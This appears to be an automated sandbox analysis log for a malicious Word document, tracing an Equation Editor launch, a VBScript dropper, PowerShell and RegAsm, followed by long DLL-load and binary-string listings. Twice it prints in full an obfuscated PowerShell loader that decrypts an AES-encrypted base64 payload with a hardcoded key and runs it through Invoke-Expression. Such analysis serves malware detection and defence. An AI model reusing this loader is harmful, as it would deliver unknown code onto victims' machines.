              Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI31045819173442745210226027008389CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIgROtij99MoqAl/1G6M0vqbtZNqaPOCvjW7wdfeQ2dm55MRRbSDL2dTjprdiVH4QRo9tuowqh9VUVcWHVl7wdpldrVYCVSlBSHKYYtX3y3EC19QGlIL2fuyXvSxhXzrCpIXVHSexgj/ylJqNpMqCRbGFmQ7b0X+QTYTuCcqP+5yOBN4O6atlPw9w8pPhK9OTe6qU1yD4u4I80Cm5MU98/PR4+8ywARZuaKE5pEc8m1O4Ku1/SjPgmLSinIDTNFgago2s309DvIv/fkTnnaxJJczMR5wDbQltFtGUCrdEGLC3QBCwcPMgT1xJ0gL7Ve4guK6HuDNkBARVx6IE3AsAcjSL8uN9O0YKkXZEyQFJY1x6z5q3ahy4Xxler3uLigmmxVv2bdi4UGe5zCCvgmZwAlk6A/59+vdpW/EApuL514/a+Us8piX4u0JPOtD/FDvCmST/nbK2n2paq0EHKxXMwpkzKA1e+BUpnxwXJrfWegtDerIVzkg4xcqmje/DZ1H6Bw6vOf7gbPCwnFhiOKYIlAUdEBwJQtctWrQXdrXo3BEIBT1iE51b3Ojwza1v/g2n2T89FWu55Ux7+dXeIf/O2oMp2w4BJQAWnE2xjfpMi8oCUaCfhIMYRUWU1jgqQLc20g1WDprYvcHmu/6WCfwKaZBxu2z+Dc8hoJblkIz6G02yRyV03HspeACrW1WOgOWNnx9NyLIR6QGyZDyySjqrZgvZX2eD0jEY/V4HSH4zkwVsY3946yvCZswuFKgBbCPhD+J/kkL82M6ZPLi5i+j/So2Di9yY5G1LQWpa/f21tFFWNALSnPpWZdIwDAUgc2jlgpS7d7owMPgN6mz5coCsW9NZ1UoebwAvfaX+oRKQ5t4PfHDWuSPgE1KN0mwHl53Hcv2snX7vYYfSpZT6NkY++2xTpeXo+wxcnj2u+K0vmB0GqKc/f4jAuzCGMbcbLLRbx1LnOgRNjOWQZO7twOygr6YzL5MR1KK76WIXLJPTrooLwxOcbA09by8F2V9p+AZjUTmbcGHANFIIQjyWDooeg0zffos+sGI2tr+sGif31XZRdk5TGul9q7WHoMauH7x8xeSJY8ba38e/dCsFUMyBE7HV40jAXlGVJ3rxJI2PNkH2P8jPlmKDcONW2RmaifAYWeGMRGhTt4k1orKVFZi3eJD4zgS2+RDViMcp4NNW8SVqhy+EqIQx/8s1JDCT0kgYFf8i88r+i3XTRgoU+2mySon8QoxRya6lglkmbykEhjvoCPgXrCea62Jbr2poBuYXqEt4X+bGR9DaCEefuC/8BCKU+6SZ5tMXp6Ohd/vZ3jRhMzP4KN+C5QYkBc0qhxnlUoX3at07CgYwnEtPcCGfxKEyP13rjbBZNm31t6ElJuHqKBjGiMZUmGKIIxSu8Zm9izO0koXrBn8GAP3xWeGpRlQ==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cReP
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEProcess created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\createactiveimagesbeautygirlf.vBS" Jump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI31045819173442745210226027008389CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIgROtij99MoqAl/1G6M0vqbtZNqaPOCvjW7wdfeQ2dm55MRRbSDL2dTjprdiVH4QRo9tuowqh9VUVcWHVl7wdpldrVYCVSlBSHKYYtX3y3EC19QGlIL2fuyXvSxhXzrCpIXVHSexgj/ylJqNpMqCRbGFmQ7b0X+QTYTuCcqP+5yOBN4O6atlPw9w8pPhK9OTe6qU1yD4u4I80Cm5MU98/PR4+8ywARZuaKE5pEc8m1O4Ku1/SjPgmLSinIDTNFgago2s309DvIv/fkTnnaxJJczMR5wDbQltFtGUCrdEGLC3QBCwcPMgT1xJ0gL7Ve4guK6HuDNkBARVx6IE3AsAcjSL8uN9O0YKkXZEyQFJY1x6z5q3ahy4Xxler3uLigmmxVv2bdi4UGe5zCCvgmZwAlk6A/59+vdpW/EApuL514/a+Us8piX4u0JPOtD/FDvCmST/nbK2n2paq0EHKxXMwpkzKA1e+BUpnxwXJrfWegtDerIVzkg4xcqmje/DZ1H6Bw6vOf7gbPCwnFhiOKYIlAUdEBwJQtctWrQXdrXo3BEIBT1iE51b3Ojwza1v/g2n2T89FWu55Ux7+dXeIf/O2oMp2w4BJQAWnE2xjfpMi8oCUaCfhIMYRUWU1jgqQLc20g1WDprYvcHmu/6WCfwKaZBxu2z+Dc8hoJblkIz6G02yRyV03HspeACrW1WOgOWNnx9NyLIR6QGyZDyySjqrZgvZX2eD0jEY/V4HSH4zkwVsY3946yvCZswuFKgBbCPhD+J/kkL82M6ZPLi5i+j/So2Di9yY5G1LQWpa/f21tFFWNALSnPpWZdIwDAUgc2jlgpS7d7owMPgN6mz5coCsW9NZ1UoebwAvfaX+oRKQ5t4PfHDWuSPgE1KN0mwHl53Hcv2snX7vYYfSpZT6NkY++2xTpeXo+wxcnj2u+K0vmB0GqKc/f4jAuzCGMbcbLLRbx1LnOgRNjOWQZO7twOygr6YzL5MR1KK76WIXLJPTrooLwxOcbA09by8F2V9p+AZjUTmbcGHANFIIQjyWDooeg0zffos+sGI2tr+sGif31XZRdk5TGul9q7WHoMauH7x8xeSJY8ba38e/dCsFUMyBE7HV40jAXlGVJ3rxJI2PNkH2P8jPlmKDcONW2RmaifAYWeGMRGhTt4k1orKVFZi3eJD4zgS2+RDViMcp4NNW8SVqhy+EqIQx/8s1JDCT0kgYFf8i88r+i3XTRgoU+2mySon8QoxRya6lglkmbykEhjvoCPgXrCea62Jbr2poBuYXqEt4X+bGR9DaCEefuC/8BCKU+6SZ5tMXp6Ohd/vZ3jRhMzP4KN+C5QYkBc0qhxnlUoX3at07CgYwnEtPcCGfxKEyP13rjbBZNm31t6ElJuHqKBjGiMZUmGKIIxSu8Zm9izO0koXrBn8GAP3xWeGpRlQ==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"Jump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: wow64win.dllJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: wow64cpu.dllJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: msi.dllJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: cryptsp.dllJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: rpcrtremote.dllJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: dwmapi.dllJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: version.dllJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: secur32.dllJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: winhttp.dllJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: webio.dllJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: iphlpapi.dllJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: winnsi.dllJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: dnsapi.dllJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: nlaapi.dllJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: dhcpcsvc6.dllJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: dhcpcsvc.dllJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: rasadhlp.dllJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: propsys.dllJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: ntmarta.dllJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: apphelp.dllJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: wow64win.dllJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: wow64cpu.dllJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: version.dllJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: sxs.dllJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: dwmapi.dllJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: cryptsp.dllJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: msisip.dllJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: mpr.dllJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: propsys.dllJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: apphelp.dllJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: ntmarta.dllJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: secur32.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wow64win.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wow64cpu.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rpcrtremote.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: bcrypt.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: iphlpapi.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: winnsi.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dnsapi.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc6.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasapi32.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasman.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rtutils.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: winhttp.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: webio.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: credssp.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: wow64win.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: wow64cpu.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: winmm.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: version.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: uxtheme.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: samcli.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: msacm32.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: sfc.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: sfc_os.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: dwmapi.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: mpr.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: shcore.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: iphlpapi.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: winnsi.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: rstrtmgr.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: ncrypt.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: bcrypt.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: dnsapi.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: dhcpcsvc6.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: dhcpcsvc.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: rasadhlp.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: cryptsp.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: secur32.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: winhttp.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: webio.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: nlaapi.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: rpcrtremote.dllJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: wow64win.dllJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: wow64cpu.dllJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: msi.dllJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: cryptsp.dllJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: rpcrtremote.dllJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: dwmapi.dllJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{B54F3741-5B07-11CF-A4B0-00AA004A55E8}\InprocServer32Jump to behavior
              Source: girlfrnd.LNK.0.drLNK file: ..\..\..\..\..\Desktop\girlfrnd.doc
              Source: Window RecorderWindow detected: More than 3 window changes detected
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dllJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEKey opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItemsJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEFile opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dllJump to behavior
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetHandler source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMemberRefProps source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeRefs source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetParent source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.ApplyEditAndContinue source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: System.Collections.Generic.IEnumerator<dnlib.DotNet.Pdb.PdbScope>.Current source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineModuleRef source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNameFromToken source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteFieldMarshal source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindField source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMembers source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteClassLayout source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.IsValidToken source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.Merge source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMemberRef source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetParamProps source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetParamProps source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetSaveSize source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindTypeRef source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.ResetEnum source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumProperties source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMethodProps source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMembersWithName source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetCustomAttributeValue source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineCustomAttribute source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodImpls source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineEvent source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
